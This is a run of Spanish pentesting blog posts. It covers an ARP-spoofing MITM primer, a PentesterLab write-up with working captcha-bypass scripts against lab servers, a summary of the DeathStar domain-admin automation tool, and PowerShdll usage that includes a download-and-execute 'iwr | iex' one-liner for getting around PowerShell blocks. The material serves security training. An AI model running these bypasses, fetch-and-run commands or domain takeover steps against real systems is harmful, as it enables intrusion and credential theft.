que lo hemos sacado de if_ether.h convirtiéndolo con htons (la función htons convierte a u_short del host en orden de bytes de red TCP / IP si fuese necesario):







Aquí pasamos el tercer parámetro introducido al arrancar el programa(la mac):

A la Estructura ether_arp alojada en <if_ether.h>


Espero que no os esté liando mucho... solo tenéis que quedaros con que las estructuras son una colección de datos, que podemos encontrarlas en las librerías ya preconcebidas para crear paquetes <netinet.h> y cómo sacar y meter datos en ellas. ya veremos esto más despacio.

¡Menuda chapa! vamos a asimilarla con la práctica.

Vamos a dejar por el momento las comederas de cabeza hasta la tercera entrada, y vamos con lo divertido.

Construyendo nuestra primer herramienta

Dije que convertiríamos el código del ejemplo en algo más funcional y divertido, vamos hacer una herramienta que nos permita hacer un Man In The Middle.

Si estas leyendo esta entrada supongo que sabras que es un MITM y en que consiste un ataque de falsificación ARP o ARP Spoofing, pero vamos a recordarlo a grandes rasgos.

El principio del ARP Spoofing es enviar mensajes ARP falsos (falsificados o spoofed) a la Ethernet. Normalmente la finalidad es asociar la dirección MAC del atacante con la dirección IP de otro nodo (el nodo atacado), como por ejemplo la puerta de enlace predeterminada (gateway).

Esta técnica de arp spoofing, si se hace de manera bidireccional obtenemos el resultado de un ataque man in the middle.

Es decir el atacante le dice ala red (todos los equipos) o a la víctima (ataque dirigido)  que es el gateway . El medio del ataque es el envenenamiento de las tablas ARP de los equipos.

Vamos a establecer el escenario:

Supongamos que se da la siguiente situación:

Queremos poder capturar el tráfico que manda la víctima hacia INet... y lo más natural sería colocarnos en medio; de ahí lo de MITM...

¿Cómo conseguimos esto?: mediante paquetes ARP-Reply, en primer lugar a la víctima le decimos que somos el router mandándole un ARP-reply y diciendo que a nuestra mac le corresponde la ip del router.
El protocolo ARP, al carecer de mecanismos de autentificacion y si en el equipo no se ha establecido unas tablas ARP fijas, actualizara la la tabla ARP de la victima con la nueva información...en lo que respeta a el equipo víctima somos el router.

El siguiente paso será mandar un paquete ARP-reply al router diciéndole que somos la víctima, el protocolo ARP modificará la tabla Arp del router como hizo con la victima. Podremos interceptar la información bi-direccionalmente, siempre de manera transparente para la victima siempre y cuando tengamos activado el IP forward en nuestro equipo (echo 1 > /proc/sys/net/ipv4/ip_forward).

Y ¿cómo podemos manipular los paquetes ARP? pues chatos: con SOCK_RAW!

Pero esto será en la siguiente entrada..

Un saludo

    Manuel

[Pentesterlab write-up] Web For Pentester II - Captcha

$
0
0
Seguro que todos sabéis lo que es un captcha, normalmente una imagen de un texto para que lo identifiquemos visualmente y lo introduzcamos en un formulario y de esa manera demostrar que somos humanos. Digo una imagen de un texto pero ni que decir tiene ésto que ha evolucionado y hoy en día ya nos encontramos con captchas que nos proponen identificar ciertas formas, responder a diversas preguntas, interpretar un audio, etc. e incluso hacer un simple 'clic' con un algoritmo funcionando "en la sombra"...

Para quien no lo sepa, captcha viene del acrónimo "Completely Automated Public Turing test to tell Computers and Humans Apart" o, en castellano, prueba de Turing completamente automática y pública para diferenciar ordenadores de humanos, y afortunadamente su uso está adoptado ampliamente en los formularios de muchos sitios web.

Hace ya unos cuantos años vimos una serie de recursos para evadir estos "molestos" captchas y hoy de repente nos encontramos con una serie de ejercicios en el laboratorio 'Web for pentester II' que precisamente nos permitirán entender un poco y desarrollar los "bypasses" más sencillos contra esta medida. Así que vamos a ello.


Ejercicio 1:

El primer script tiene un fallo de lógica, básicamente si la aplicación recibe un captcha no válido no escapará correctamente, dándonos acceso sin necesidad de introducir nada.
Basta por lo tanto con interceptar la petición GET y quitar el parámetro captcha:

SERVIDOR
require 'sinatra/base'
require 'rack-session-sequel'
require 'RMagick'

class CaptchaExample1 < PBase
 
  use Rack::Session::Sequel

  set :views, File.join(File.dirname(__FILE__), 'example1', 'views')
  set :public_folder, File.join(File.dirname(__FILE__), 'example1', 'public')

  def self.path
    "/captcha/example1/"
  end
   
  get '/' do
    session[:captcha] = gen_captcha
    erb :index
  end
 
  get "/submit" do
    if params[:captcha] and params[:captcha] != session[:captcha]
      @message = "Invalid Captcha!"
      redirect CaptchaExample1.path
    end
    erb :win

  end
 
  def gen_captcha
    str = rand_str
    image = Magick::Image.new(310,60, Magick::HatchFill.new('#ffffff', '#4169e1')) do
      self.format = 'PNG'
    end
    text = Magick::Draw.new
    text.annotate(image,0,0,0,5, str) do
      self.font_weight = Magick::BoldWeight
      self.pointsize = 32
      self.stroke = 'transparent'
      self.fill = 'black'
      self.gravity = Magick::SouthGravity
    end
    image = image.implode(0.4)
    image.write(File.join(File.dirname(__FILE__), 'example1', 'public',"captcha.png"))
    str 
  end

  def rand_str
    10.times.map { ('A'..'z').to_a[rand(('A'..'z').to_a.size)]}.join
  end

end

Ejercicio 2:

En el segundo ejercicio, si inspeccionamos el código fuente, vemos que el valor del captcha se encuentra en un campo oculto del formulario:



Para automatizar el proceso podemos crear un sencillo script en python que utiliza la librería BeautifulSoup para parsear el código HTML de la respuesta y mostrar el valor del campo oculto (captcha):

SCRIPT
import urllib
from bs4 import BeautifulSoup

f = urllib.urlopen("http://vulnerable/captcha/example2/").read()

soup = BeautifulSoup(f,"lxml")

repElemList = soup.find_all('input', type='hidden')

for repElem in repElemList:
        repElemID = repElem.get('value')
        print("El captcha es = %s" % repElemID)

python captcha2.py
El captcha es = H\nxDbfIge

SERVIDOR
require 'sinatra/base'
require 'rack-session-sequel'
require 'RMagick'

class CaptchaExample2 < PBase
 
  use Rack::Session::Sequel

  set :views, File.join(File.dirname(__FILE__), 'example2', 'views')
  set :public_folder, File.join(File.dirname(__FILE__), 'example2', 'public')

  def self.path
    "/captcha/example2/"
  end
   
  get '/' do
    @answer = gen_captcha
    erb :index
  end
 
  get "/submit" do
    if params[:captcha] and params[:captcha] != params[:answer]
      @message = "Invalid Captcha!"
      redirect CaptchaExample2.path
    end
    erb :win
  end

 
  def gen_captcha
    str = rand_str
    image = Magick::Image.new(310,60, Magick::HatchFill.new('#ffffff', '#4169e1')) do
      self.format = 'PNG'
    end
    text = Magick::Draw.new
    text.annotate(image,0,0,0,5, str) do
      self.font_weight = Magick::BoldWeight
      self.pointsize = 32
      self.stroke = 'transparent'
      self.fill = 'black'
      self.gravity = Magick::SouthGravity
    end
    image = image.implode(0.4)
    image.write(File.join(File.dirname(__FILE__), 'example2', 'public',"captcha.png"))
    str 
  end

  def rand_str
    10.times.map { ('A'..'z').to_a[rand(('A'..'z').to_a.size)]}.join
  end

end

Ejercicio 3:

El tercer ejemplo es similar al anterior, pero esta vez el valor es devuelto en la cookie:



Así que para automatizar la extracción del captcha basta con crear un script que obtenga el valor de la cookie:

SCRIPT
import requests

r = requests.get('http://vulnerable/captcha/example3')
c = r.cookies
i = c.items()

for name, value in i:
        print(value)

# python captcha3.py
bePZhyiDuK

SERVIDOR
require 'sinatra/base'
require 'sinatra/cookies'
require 'sinatra/contrib'
require 'RMagick'

class CaptchaExample3 < PBase
 

  set :views, File.join(File.dirname(__FILE__), 'example3', 'views')
  set :public_folder, File.join(File.dirname(__FILE__), 'example3', 'public')

  def self.path
    "/captcha/example3/"
  end
   
  get '/' do
    str = gen_captcha
    response.set_cookie("captcha", str)

    erb :index
  end
 
  get "/submit" do
    if params[:captcha].nil? or params[:captcha] != request.cookies["captcha"]
      @message = "Invalid Captcha!"
      redirect CaptchaExample3.path
    end
    erb :win
  end
 

  def gen_captcha
    str = rand_str
    image = Magick::Image.new(310,60, Magick::HatchFill.new('#ffffff', '#4169e1')) do
      self.format = 'PNG'
    end
    text = Magick::Draw.new
    text.annotate(image,0,0,0,5, str) do
      self.font_weight = Magick::BoldWeight
      self.pointsize = 32
      self.stroke = 'transparent'
      self.fill = 'black'
      self.gravity = Magick::SouthGravity
    end
    image = image.implode(0.4)
    image.write(File.join(File.dirname(__FILE__), 'example3', 'public',"captcha.png"))
    str 
  end

  def rand_str
    10.times.map { ('A'..'z').to_a[rand(('A'..'z').to_a.size)]}.join
  end

end

Ejercicio 4:

En este ejercicio hay un fallo en el token, básicamente si resuelves el captcha una vez y refrescas la página, la información se enviará una y otra vez. Esto significa que se puede escribir un script para volver a enviar la misma información varias veces y saltarse el captcha:



SERVIDOR
require 'sinatra/base'
require 'rack-session-sequel'
require 'RMagick'

class CaptchaExample4 < PBase
  use Rack::Session::Sequel 

  set :views, File.join(File.dirname(__FILE__), 'example4', 'views')
  set :public_folder, File.join(File.dirname(__FILE__), 'example4', 'public')

  def self.path
    "/captcha/example4/"
  end

  def self.allwords
    @@allwords
  end

  def self.allwords=(value)
    @@allwords = value
  end

  configure {
    CaptchaExample4.allwords = File.readlines(File.join(File.dirname(__FILE__), 'example4',"dico.txt"))
  }
   
  get '/' do
    session[:captcha] = gen_captcha
    erb :index
  end
 
  get "/submit" do
    if params[:captcha].nil? or params[:captcha] != session[:captcha]
      @message = "Invalid Captcha!"
      session[:captcha] = gen_captcha
      redirect CaptchaExample4.path
    end
    erb :win
  end
 
  def gen_captcha
    str = rand_str
    image = Magick::Image.new(150,50, Magick::HatchFill.new('#ffffff', '#4169e1')) do
      self.format = 'PNG'
    end
    text = Magick::Draw.new
    text.annotate(image,0,0,0,15, str) do
      self.font_weight = Magick::BoldWeight
      self.pointsize = 32
      self.stroke = 'transparent'
      self.fill = 'black'
      self.gravity = Magick::CenterGravity
    end
    image = image.implode(0.4)
    image.write(File.join(File.dirname(__FILE__), 'example4', 'public',"captcha.png"))
    str 
  end

  def rand_str
    CaptchaExample4.allwords[rand(CaptchaExample4.allwords.size)].chomp
  end

end

Ejercicio 5:

El quinto ejercicio es el último ejemplo de fallos en la implentación de captchas, aquí la debilidad proviene del diccionario utilizado para crear el captcha; sólo hay un número limitado de palabras (imágenes) utilizadas. Por lo tanto podemos escribir un cracker generando una lista de todas las palabras y el MD5 de cada imagen. De esta manera, cuando enviemos el formulario, sólo tendremos que recuperar la imagen, calcular su MD5 y enviar la palabra correspondiente.


SCRIPT
import cookielib, urllib2, urllib
from lxml import etree

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
page = opener.open("http://vulnerable/captcha/example5/")
page.addheaders = [('User-agent', 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0)]
reddit = etree.HTML(page.read())

for img in reddit.xpath('//img/@src'):
    print img
a = str(img)
resource = urllib.urlopen('http://vulnerable/captcha/example5/' + a)
output = open("file01.png","wb")
output.write(resource.read())
output.close()

#obtener el hash md5 de cada imagen

import hashlib
 
hasher = hashlib.md5()
with open('file01.png', 'rb') as afile:
    buf = afile.read()
    hasher.update(buf)
md5 = (hasher.hexdigest())
md5= str(md5)
print md5


# comprobar si el md5 es igual al de la lista creada

if md5 == "FE9AC5CFB7B2438C900ED3E56C0E2CB0" : print "0dayz"
elif md5 == "4c298cfa40e502fb644d9a5fdc9c6a11": print "vulnerability"
elif md5 == "3761dd5bdb3dae4fc7ba3d5652b7bfc0": print "security"
elif md5 == "4039a3ef7fc79e4adb60b43ac108d648": print "admin"
elif md5== "93c985c35fa28eb819d91b5f55be7b65": print "compromise"
elif md5== "3d0a2ab11fb9c59d19a9d95d56ea2e6d": print "hacker"
elif md5 == "539746c4b3beae3e77773fa940d83d78": print "petester"
elif md5 == "fe9ac5cfb7b2438c900ed3e56c0e2cb0" :print "0dayz"
else:     print "END"

# python captcha5.py
captcha.png?t=1496015861.357713
4039a3ef7fc79e4adb60b43ac108d648
admin

SERVIDOR
require 'sinatra/base'
require 'rack-session-sequel'
require 'RMagick'

class CaptchaExample5 < PBase
  use Rack::Session::Sequel 

  set :views, File.join(File.dirname(__FILE__), 'example5', 'views')
  set :public_folder, File.join(File.dirname(__FILE__), 'example5', 'public')

  def self.path
    "/captcha/example5/"
  end
   
  get '/' do
    session[:captcha] = gen_captcha
    erb :index
  end
 
  get "/submit" do
    if params[:captcha].nil? or params[:captcha] != session[:captcha]
      @message = "Invalid Captcha!"
      session[:captcha] = gen_captcha
      redirect CaptchaExample5.path
    end
    session[:captcha] = gen_captcha
    erb :win
  end
 
  def gen_captcha
    str = rand_str
    image = Magick::Image.new(310,60, Magick::HatchFill.new('#ffffff', '#4169e1')) do
      self.format = 'PNG'
    end
    text = Magick::Draw.new
    text.annotate(image,0,0,0,5, str) do
      self.font_weight = Magick::BoldWeight
      self.pointsize = 32
      self.stroke = 'transparent'
      self.fill = 'black'
      self.gravity = Magick::SouthGravity
    end
    image = image.implode(0.4)
    image.write(File.join(File.dirname(__FILE__), 'example5', 'public',"captcha.png"))
    str 
  end

  def rand_str
    arr = ['hacker', 'admin', 'pentester', 'security', '0dayz', 'vulnerability', 'compromise']
    arr[rand(arr.size)]
  end

end

Ejercicio 6:

En este  ejercicio para evadir el captcha es necesario utilizar una herramienta de OCR como tesseract. Para ello hay que crear un script que descargue la imagen y luego ejecute tesseract con el siguiente código:  'tesseract imagefile.png'Ésto creará un archivo out.txt con la respuesta al captcha.

Primero instalamos tesseract:

apt-get install tesseract-ocr

Y luego adaptamos un poco el script que encontré en:

http://pwndizzle.blogspot.com/2013/12/breaking-bugcrowds-captcha-with-python.html

SCRIPT
from PIL import Image
from urllib.error import *
from urllib.request import *
from urllib.parse import *
import subprocess
import urllib,  requests, re, json

def getpage():
    try:
        print("[+] Descargando Pagina"); 
        site = urllib.request.urlopen("http://vulnerable/captcha/example6/")
        global cookie
        cookie = site.getheader('Set-Cookie')
        print("-----Cookie extraida: " + cookie);
        site_html = site.read().decode("utf-8")
        #print(site_html)
        global token
        #Obtener el token (10 numeros + . + 7 numeros
        token = re.findall('[(\d+.\d+)]{18}', site_html)
        print ("-----Token: " + token[0])
    except URLError as e:
        print ("*****Error: No puede descargar la pagina*****");

 
def getcaptcha():
    try:
        print("[+] Descargando Captcha");
        captchaurl = "http://vulnerable/captcha/example6/captcha.png?t="+token[0]
        urlretrieve(captchaurl,'captcha.png')
    except URLError as e:
        print ("*****Error: No puede descargar la pagina*****");


def resizer():
 print("[+] Redimensionando...");
 im1 = Image.open("captcha.png")
 width, height = im1.size
 im2 = im1.resize((int(width*5), int(height*5)), Image.BICUBIC)
 im2.save("captcha1.png")

 
def tesseract():
    try:
        print("[+] Ejecutando Tesseract...");
        #Run Tesseract, -psm 8, tells Tesseract we are looking for a single word
        subprocess.call(['tesseract', 'captcha1.png', 'output', '-psm', '8'])
        f = open ("output.txt","r")
        global cvalue
  #Borra los espacios en blanco y las nuevas lineas de la salida Tesseract
        cvaluelines = f.read().replace("", "").split('\n')
        cvalue = cvaluelines[0]
        print("-----Captcha: " + cvalue);
    except Exception as e:
        print ("Error: " + str(e))

 
def send():
    try:
        print("[+] Enviando peticion...");
        urlconcaptcha = "http://vulnerable/captcha/example6/submit?captcha="+str(cvalue)+"&Submit+Query"
        print("-----URL: " + urlconcaptcha);
        request = urllib.request.Request(urlconcaptcha,headers={'Cookie':cookie})
        f = urlopen(request)
        response = f.read().decode('utf-8')
        #print(response)
        exito = re.search('Success', response)
        if exito:
            print("-----Conseguido!")
        else:
            print ("-----Fallo!")
    except Exception as e:
        print ("Error: " + str(e))


print("[+] Inicio!");
#Descarga la página y la parsea
getpage();
#Descarga la imagen del captcha
getcaptcha();
#Redimensiona la imagen del captcha
resizer();
#Usa Tesseract para analizar la imagen del captcha
tesseract();
#Envia la peticion al sitio con los datos del formulario y el captcha
send();
print("[+] Fin!");

Como véis a continuación todo el proceso de automatización funciona a la perfección:

# python3 autocaptcha.py
[+] Inicio!
[+] Descargando Pagina
-----Cookie extraida: rack.session=6f110071af87122de31805ae6977e8eb104cb7dcc5912c874064b36436b86057; path=/; HttpOnly
-----Token: 1496157822.5596094
[+] Descargando Captcha
[+] Redimensionando...
[+] Ejecutando Tesseract...
Tesseract Open Source OCR Engine v3.04.01 with Leptonica
-----Captcha: jasmine
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example6/submit?captcha=jasmine&Submit+Query
-----Conseguido!
[+] Fin!

SERVIDOR
require 'sinatra/base'
require 'active_record'
require 'digest/md5'

class CaptchaExample6 < PBase

  def self.allwords
    @@allwords
  end

  def self.allwords=(value)
    @@allwords = value
  end

  configure {
    CaptchaExample6.allwords = File.readlines(File.join(File.dirname(__FILE__), 'example6',"dico.txt"))
  }


  def self.path
    "/captcha/example6/"
  end


  set :public_folder, File.join(File.dirname(__FILE__), 'example6', 'public')
  set :views, File.join(File.dirname(__FILE__), 'example6', 'views')
  use Rack::Session::Sequel


  get '/' do
    session[:captcha] = gen_captcha
    erb :index
  end

  get "/submit" do
    if params[:captcha].nil? or params[:captcha] != session[:captcha]
      @message = "Invalid Captcha!"
      session[:captcha] = gen_captcha
      redirect CaptchaExample6.path
    end
    session[:captcha] = gen_captcha
    erb :win
  end

  def gen_captcha
    str = rand_str
    image = Magick::Image.new(150,50) do
      self.background_color = 'white'
      self.format = 'PNG'
    end
    text = Magick::Draw.new
    text.annotate(image,0,0,0,5, str) do
      self.font_family = 'arial'
      self.pointsize = 32
      self.fill = 'black'
      self.gravity = Magick::CenterGravity
    end
    image.write(File.join(File.dirname(__FILE__), 'example6', 'public',"captcha.png"))
    str
  end

  def rand_str
    CaptchaExample6.allwords[rand(CaptchaExample6.allwords.size)].chomp
  end

Ejercicio 7:

Este ejemplo es igual que el anterior pero el captcha añade unas líneas azules para dificultar el reconocimiento OCR:


Si lanzamos el script anterior veremos que esta vez no es capaz de reconocer el texto de la imagen:

# python3 autocaptcha2.py
[+] Inicio!
[+] Descargando Pagina
-----Cookie extraida: rack.session=3919e20def48b2cca9e98b72b120f65c1afcb201ba625b255e99f3515590fb28; path=/; HttpOnly
-----Token: 1496161564.1624959
[+] Descargando Captcha
[+] Redimensionando...
[+] Ejecutando Tesseract...
Tesseract Open Source OCR Engine v3.04.01 with Leptonica
-----Captcha: Eifiifiéfiéfiiii
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example6/submit?captcha=Eifiifiéfiéfiiii&Submit+Query
Error: 'ascii' codec can't encode character '\ufb01' in position 39: ordinal not in range(128)
[+] Fin!

Tendremos por tanto que quitar las líneas azules. Para ello podemos cambiar el valor del umbral en la imagen con el comando: convert captcha1.png  -white-threshold 1% captcha2.png


Entonces simplemente basta con añadir al final de la función resise la ejecución del comando anterior:

 os.system('convert captcha1.png -white-threshold 1% captcha2.png')

Sin olvidar de añadir el ‘import os’ al principio y cambiar en la url example6 por example7.

# python3 autocaptcha2.py
[+] Inicio!
[+] Descargando Pagina
-----Cookie extraida: rack.session=d1804f642992f737761a67f313ba9dba5352adffc341b9cd8e35de3d51e1a16c; path=/; HttpOnly
-----Token: 1496162993.1133218
[+] Descargando Captcha
[+] Redimensionando...
[+] Ejecutando Tesseract...
Tesseract Open Source OCR Engine v3.04.01 with Leptonica
-----Captcha: scruffy
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example7/submit?captcha=scruffy&Submit+Query
-----Conseguido!
[+] Fin!

SERVIDOR
...
  def gen_captcha
    str = rand_str
    image = Magick::Image.new(150,50, Magick::HatchFill.new('#ffffff', '#4169e1')) do
      self.background_color = 'white'
      self.format = 'PNG'
    end
    text = Magick::Draw.new
    text.annotate(image,0,0,0,5, str) do
      self.font_family = 'arial'
      self.pointsize = 32
      self.fill = 'black'
      self.gravity = Magick::CenterGravity
    end
    image.write(File.join(File.dirname(__FILE__), 'example7', 'public',"captcha.png"))
    str
  end
....

Ejercicio 8:

Este ejercicio es otra versión de los ejemplos anteriores, sólo que esta vez la imagen está implosionada.

Para convertirla a una forma más legible podemos hacerlo con:

 os.system('convert captcha1.png -white-threshold 20% captcha2.png')
 os.system('convert captcha2.png -implode -0.5 captcha3.png')


# python3 autocaptcha3.py
[+] Inicio!
[+] Descargando Pagina
-----Cookie extraida: rack.session=b8454c97d19349329a0b9f593b12e8d978a6dc5adebb94cf4a491776c573abde; path=/; HttpOnly
-----Token: 1496178022.3857043
[+] Descargando Captcha
[+] Redimensionando...
[+] Ejecutando Tesseract...
Tesseract Open Source OCR Engine v3.04.01 with Leptonica
-----Captcha: warren
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example8/submit?captcha=warren&Submit+Query
-----Conseguido!
[+] Fin!

SERVIDOR
 def gen_captcha
    str = rand_str
    image = Magick::Image.new(150,50, Magick::HatchFill.new('#ffffff', '#4169e1')) do
      self.background_color = 'white'
      self.format = 'PNG'
    end
    text = Magick::Draw.new
    text.annotate(image,0,0,0,5, str) do
      self.font_family = 'arial'
      self.pointsize = 32
      self.fill = 'black'
      self.gravity = Magick::CenterGravity
    end
    image = image.implode(0.4)
    image.write(File.join(File.dirname(__FILE__), 'example8', 'public',"captcha.png"))
    str
  end

Ejercicio 9:

El último captcha es una pregunta aritmética:

Sin embargo, si vemos el código fuente veremos que tanto los números como los operadores se pasan en texto, no como imágenes:



Por lo tanto podemos crear un script que lea el código fuente y extraíga la información (números y operador), calcular la operación aritmética y pasarla en el formulario.

SCRIPT
from PIL import Image
from urllib.error import *
from urllib.request import *
from urllib.parse import *
import subprocess
import urllib,  requests, re, os


print("[+] Descargando Pagina"); 
site = urllib.request.urlopen("http://vulnerable/captcha/example9/")
global cookie
cookie = site.getheader('Set-Cookie')
print("-----Cookie extraida: " + cookie);
site_html = site.read().decode("utf-8")
#print(site_html)
global token
# Obtener el token (10 numeros + . + 7 numeros)
token = re.findall(r'(?:[0-9]|[0-9])+[\+\-\^\*]+(?:[0-9]|[0-9])', site_html)
print ("-----Token: " + token[0])
resultado=eval(token[0])
#print(resultado)
print("[+] Enviando peticion...");
urlconcaptcha = "http://vulnerable/captcha/example9/submit?captcha="+str(resultado)+"&Submit+Query"
print("-----URL: " + urlconcaptcha);
request = urllib.request.Request(urlconcaptcha,headers={'Cookie':cookie})
f = urlopen(request)
response = f.read().decode('utf-8')
#print(response)
exito = re.search('Success', response)
if exito:
    print("-----Conseguido!")
else:
    print ("-----Fallo!")

print("[+] Fin!");

# python3 aritmetico2.py
[+] Descargando Pagina
-----Cookie extraida: rack.session=f570e46dad1e64b3c44deebb010efd92524910ba5d46a3078d38dd9e1ecd5948; path=/; HttpOnly
-----Token: 21-7
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example9/submit?captcha=14&Submit+Query
-----Conseguido!
[+] Fin!

SERVIDOR
require 'sinatra/base'
require 'active_record'
require 'digest/md5'

class CaptchaExample9 < PBase


  def self.path
    "/captcha/example9/"
  end


  set :public_folder, File.join(File.dirname(__FILE__), 'example9', 'public')
  set :views, File.join(File.dirname(__FILE__), 'example9', 'views')
  use Rack::Session::Sequel


  get '/' do
    session[:captcha], @expr = gen_captcha
    erb :index
  end

  get "/submit" do
    if params[:captcha].nil? or params[:captcha].to_i != session[:captcha]
      @message = "Invalid Captcha!"
      session[:captcha] = gen_captcha
      redirect CaptchaExample9.path
    end
    session[:captcha] = gen_captcha
    erb :win
  end

  def gen_captcha
    str = ""
    ops = ['+', '-', '*' ]
    op = ops[rand(3)]
    i1 = rand(30)
    i2 = rand(30)
    case op
      when '+'
        return [ i1+i2, "#{i1}+#{i2}" ]
      when '-'
        return [ i1-i2, "#{i1}-#{i2}" ]
      when '*'
        return [ i1*i2, "#{i1}*#{i2}" ]
    end
  end

  def rand_str
    CaptchaExample9.allwords[rand(CaptchaExample9.allwords.size)].chomp
  end

end


Y hasta aquí las pruebas para evadir captchas. Nos vemos en los siguientes ejercicios de ‘Web for pentester II

Death Star: una herramienta para hacerse administrador de dominio con sólo pulsar un botón

$
0
0
Recientemente leía un artículo de byt3bl33d3r en el que afirmaba que el pentesting en el Directorio Activo es en la actualidad *relativamente* sencillo gracias a herramientas como Empire y BloodHound y, ciertamente, tiene toda la razón. Desde la irrupción de powershell los atacantes han encontrado una poderosa herramienta para evadir la seguridad en entornos Windows y han aparecido algunos toolkits ofensivos que facilitan enormemente la tarea. De hecho, os recomiendo que echéis un vistazo también al mod de Empire de nuestro compañero Luis Vacas que incluye nuevos e interesantes módulos.

Como comentamos, gracias a estos frameworks que usan powershell es posible hacerse con privilegios de administración con relativa facilidad y si eres pentester puedes encontrarte haciendo las mismas cosas una y otra vez. Por eso byt3bl33d3r pensó que era la hora de automatizar... y el resultado es espectacular y el sueño de todo script kiddie: la Estrella de la Muerte o Death Star, una herramienta de "botón gordo"que se encarga ella solita de obtener automáticamente el domain admin.

Antes de continuar y como recordatorio, decir que obtener el domain admin no debe ser la consecución final de un pentest porque existen otras tareas en la post-explotación como buscar recursos sensibles y otros activos vulnerables que puedan demostrar claramente hasta dónde podía haber impactado en la organización un ataque si se tratara de un compromiso real... pero tener un administrador de dominio, ¿facilitaría las cosas, verdad? ;)

Objetivos del proyecto e implementación

Originalmente el autor quería algo que sólo tomara la salida de BloodHound, analizarla, alimentarla a Empire y hacerla seguir la 'cadena'. Sin embargo, BloodHound parece que no tiene en cuenta las rutas que podrían lograrse habiendo escalado privilegios de dominio por ejemplo con las contraseñas de GPP en SYSVOL.

Así que quería una versión más "activa" de BloodHound con un comportamiento similar a un gusano. Además, Empire tiene la mayor parte de la funcionalidad principal de BloodHound cubierta entre todos sus módulos y, si no la tuviera, podía implementarse en un nuevo módulo (como por ej. el 'ACL attack path update').

Por eso decidió quedarse con Empire y automatizar todo usando su API RESTful. Esto también le daría la libertad de analizar la salida de un módulo como mejor le pareciera y tener más control sobre la lógica general y la retroalimentación del usuario.

¿Qué hace exactamente Death Star?

El siguiente diagrama de flujo detalla muy bien lo que hace Death Star:



Si ha auditado recientemente Active Directory, deberías estar familiarizado con prácticamente todo lo que figura en ese gráfico. Si no, ya sabes, comenta tus dudas.

Instalación

En la actualidad, para que Death Star funcione, es necesario instalar el fork de Empire de byt3bl33d3r, al menos hasta que incluyan lo necesario en el Github oficial (merge push request). El fork contiene algunas correcciones en el API y en la base de datos para que funcionen los scripts que interactúan con el API RESTful.

     Death Star - https://github.com/byt3bl33d3r/DeathStar
     Empire - https://github.com/byt3bl33d3r/Empire

Primero hay que clonar el repositorio anterior de Empire e instálalo de forma normal, luego ejecuta lo siguiente:

python empire --rest --username username --password password

Esto iniciará la consola de Empire y el servidor RESTful API.
Para que la Death Star funcione:

git clone https://github.com/byt3bl33d3r/DeathStar
# Death Star is written in Python 3
pip3 install -r requirements.txt
# Supply the username and password you started Empire's RESTful API with
./DeathStar.py -u username -p password

Si todo va bien, DeathStar creará un listener http y se pondrá en estado 'Polling for Agents': esto significa que estaremos autenticados en la API RESTful de Empire y DeathStar estará esperando al primer Agente.

Todo lo que necesitas ahora es un Agente en una máquina que pertenezca al dominio. Cómo hacerlo ya queda fuera de este artículo aunque se recomienda usar CrackMapExec...

Demo

Una vez que consigas el primer agente, Death Star se hará cargo y comenzará la magia...

A continuación se muestran un par de vídeos de Death Star obteniendo el Administrador del Dominio en dos escenarios diferentes.

En el primer vídeo, se elevan privilegios de dominio mediante la vulnerabilidad de las contraseñas GPP en SYSVOL, se propaga lateralmente a las máquinas al que se aplica la GPO utilizando las credenciales obtenidas y "aterriza" en una máquina con un administrador de dominio autenticado. Posteriormente va enumerando los procesos en ejecución y, con PSInject, se inyecta en un proceso que se ejecuta bajo la cuenta de administrador de dominio (explorer.exe por defecto) que nos arroja un agente que se ejecuta en ese contexto de seguridad:

En el segundo video, obtiene las credenciales del administrador del dominio usando Mimikatz y abusando de las relaciones de los administradores locales:

Hay que señalar que aunque estos dos vídeos se aprovechan de las credenciales de una manera u otra, es posible que Death Star obtenga los privilegios de administrador de dominio simplemente usando una combinación de relaciones de administrador local y PSInject sin usar nunca un conjunto de credenciales.

Cosas que podrían agregarse

Hay mucho más que se podría hacer con DeathStar: se podrían agregar más técnicas de escalado de privilegios de dominios, más métodos de movimiento lateral, la lógica podría ajustarse un poco más, se podría hacer algo de post-explotación y shenanigans SPN etc. La versión actual es definitivamente un primer borrador.

Un gran salto sería hacer SMB Named Pipe pivoting, de esta manera realmente se obtendría el comportamiento un gusano.

Conclusión

Death Star demuestra que la automatización de la obtención de derechos de administración de dominio en un entorno de Active Directory es una clara posibilidad al utilizar conjuntos de herramientas de código abierto existentes.

Un punto importante que menciona el autor y que le gustaría que todos reflexionemos: la herramienta la hizo en 3-4 días. Imaginaros lo que un montón de personas más inteligentes podría hacer (o ya ha hecho) con más tiempo y recursos...

Fuente: Automating the Empire with the Death Star: getting Domain Admin with a push of a button

PowerShdll: Ejecuta PowerShell con rundll32

$
0
0
En un test de intrusión algunas veces (aunque desgraciadamente pocas) existen restricciones que permiten ejecutar powershell. Por ejemplo, puede darse el caso en el que vayamos a instalar un agente de Empire y nos encontremos con que el cliente bloquea powershell.exe. ¡No hay problema! PowerShdll v0.2 nos permite ejecutar Powershell sólo con dlls, mediante rundll32:

Ejecutar un script codificado en base64:

rundll32 Powershdll.dll,main $a = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("BASE64")); Invoke-Expression $a

Descargar y ejecutar un script:

rundll32 PowerShdll.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;

Modo dll:
Usage:
rundll32 PowerShdll,main <script>
rundll32 PowerShdll,main -f <path>       Run the script passed as argument
rundll32 PowerShdll,main -w      Start an interactive console in a new window
rundll32 PowerShdll,main -i      Start an interactive console in this console
If you do not have an interractive console, use -n to avoid crashes on output

Modo exe:
Usage:
PowerShdll.exe <script>
PowerShdll.exe -f <path>       Run the script passed as argument
PowerShdll.exe -i      Start an interactive console in this console

Nota: En modo dll, el modo interactivo y la salida del comando dependen de secuestrar la consola del proceso padre. Si el proceso padre no tiene consola, hay que utilizar el parámetro -n para no mostrar la salida o de lo contrario la aplicación se bloqueará.

Proyecto: https://github.com/p3nt4/PowerShdll

Recupera todo el historial de comandos con Get-ShellContent

$
0
0
Ya lo hemos hablado más veces y es que el malware basado en lenguajes de scripting como PowerShell o Python está aumentando exponencialmente debido fundamentalmente a que:
- el intérprete está instalado por defecto en el sistema operativo
